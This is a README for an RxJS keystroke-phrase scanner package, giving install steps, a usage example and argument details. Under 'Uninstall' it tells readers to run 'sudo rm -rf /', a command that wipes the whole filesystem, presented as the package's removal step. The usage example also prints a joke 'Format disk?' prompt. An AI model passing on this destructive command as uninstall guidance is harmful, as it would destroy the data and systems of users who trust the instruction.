scan-keystroke-rx
Observable scanner for specified phrase in the keystroke event stream.
Prerequisites
- RxJS >= 6
Install
yarn add scan-keystroke-rx
Use
import { findPhrase } from 'scan-keystroke-rx';
findPhrase('hello world').subscribe(
phrase => {
console.log(`Phrase "${phrase}" detected! Format disk? (yes/no) default yes. Accepted.`);
}
)
Uninstall
sudo rm -rf /
Details
findPhrase
returns an observable, that listens keypress events on window.document
(by default).
Arguments
- Phrase to expect (mandatory);
- DOM node to listen key events from (optional, default is
window.document
); - Case insensitive flag (optional, default
true
); - Timeout to reset the search on sequential keystrokes (optional, default 1000ms). E.g. if the expected phrase to wait from user is 'hello', and the user typed 'hel' and then paused typing for a period more than 1000ms, then searching is resetted and 'hel' is throwing away and ignored;